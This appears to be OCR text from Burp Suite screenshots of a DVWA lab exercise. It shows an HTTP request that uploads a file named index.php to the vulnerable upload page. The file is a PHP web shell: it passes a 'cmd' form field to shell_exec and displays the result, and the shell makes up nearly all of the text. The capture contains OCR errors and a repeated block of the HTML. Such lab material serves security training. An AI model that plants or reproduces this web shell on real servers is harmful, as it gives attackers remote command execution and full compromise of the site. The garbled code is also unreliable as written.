```
\n ≡
 Pretty
         Raw
                 Hex
 1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
 2 Host: 192,168,50,101
 3 Content-Length: 2751
 4 Cache-Control: max-age=0
 5 Upgrade-Insecure-Requests: 1
 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
 7 Origin: http://192.168.50.101
 8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRlwgtBTT8rqtXmyS
 9 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/appg,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.50.101/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept - Language: en-US, en; q=0.9
13 Cookie: security=low: PHPSESSID=389e178b330alfefc891adfbbc8e8004
14 Connection: close
15
16 -----WebKitFormBoundaryRlwgtBTT8rqtXmyS
17 Content-Disposition: form-data; name="MAX FILE SIZE"
18
19 100000
20 -----WebKitFormBoundaryRlwgtBTT8rqtXmyS
21 Content-Disposition: form-data; name="uploaded"; filename="index.php"
22 Content-Type: application/x-php
23
24 <?php
25 if (!empty($ POST['cmd'])) {
       $cmd = shell exec($ POST['cmd']);
26
27 }
28 ?>
29 <! DOCTYPE html>
30 <html lang="en">
31 <head>
       <meta charset="utf-8">
32
33
       <meta http-equiv="X-UA-Compatible" content="IE=edge">
       <meta name="viewport" content="width=device-width, initial-scale=1">
34
35
       <title>Web Shell</title>
       <style>
36
           * {
37
38
               -webkit-box-sizing: border-box;
               box-sizing: border-box;
39
           }
40
41
42
           body {
43
               font-family: sans-serif;
               color: rgba(0, 0, 0, .75);
44
           }
45
46
47
           main {
48
               margin: auto;
49
               max-width: 850px:
50
           }
```

```
52
            pre,
53
            input,
            button {
54
                padding: 10px;
55
56
                border-radius: 5px;
57
                background-color: #efefef;
            }
58
59
60
            label {
61
                display: block;
            }
62
63
64
            input {
65
              width: 100%:
66
                background-color: #efefef;
67
                border: 2px solid transparent;
            }
68
69
            input:focus {
70
71
                outline: none;
72
                background: transparent;
                border: 2px solid #e6e6e6;
73
            }
74
75
76
            button {
                border: none;
77
78
                cursor: pointer;
79
                margin-left: 5px;
            }
80
81
82
            button:hover {
                background-color: #e6e6e6;
83
            }
84
85
86
            .form-group {
                display: -webkit-box;
87
                display: -ms-flexbox;
88
                display: flex;
89
90
                padding: 15px 0;
            }
91
        </style>
92
93
94 </head>
95
96 <body>
97
        <main>
            <h1>Web Shell</h1>
98
            <h2>Execute a command</h2>
99
100
```

```
77
               border: none;
 78
               cursor: pointer;
 79
               margin-left: 5px;
 80
           }
 81
 82
           button:hover {
 83
               background-color: #e6e6e6;
           }
 84
 85
 86
            .form-group {
 87
               display: -webkit-box;
 88
               display: -ms-flexbox;
 89
               display: flex;
 90
               padding: 15px 0;
 91
           }
 92
        </style>
 93
    </head>
 94
 95
    <body>
 96
97
       <main>
            <h1>Web Shell</h1>
 98
            <h2>Execute a command</h2>
 99
100
101
            <form method="post">
               <label for="cmd"><strong>Command</strong></label>
102
103
               <div class="form-group">
                   <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($ POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
104
105
                          onfocus="this.setSelectionRange(this.value.length, this.value.length); autofocus required>
                   <button type="submit">Execute</button>
106
107
               </div>
108
           </form>
109
           <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
110
111
               <h2>0utput </h2>
112
               <?php if (isset($cmd)): ?>
                   113
114
               <?php else: ?>
115
                   <small>No result.</small>
116
               <?php endif; ?>
117
            <?php endif; ?>
118
        </main>
119 </body>
120 </html>
121
    -----WebKitFormBoundaryRlwgtBTT8rqtXmyS
122
123 Content-Disposition: form-data; name="Upload"
124
125 Upload
126 -----WebKitFormBoundaryRlwgtBTT8rqtXmyS--
127
```

70

J molling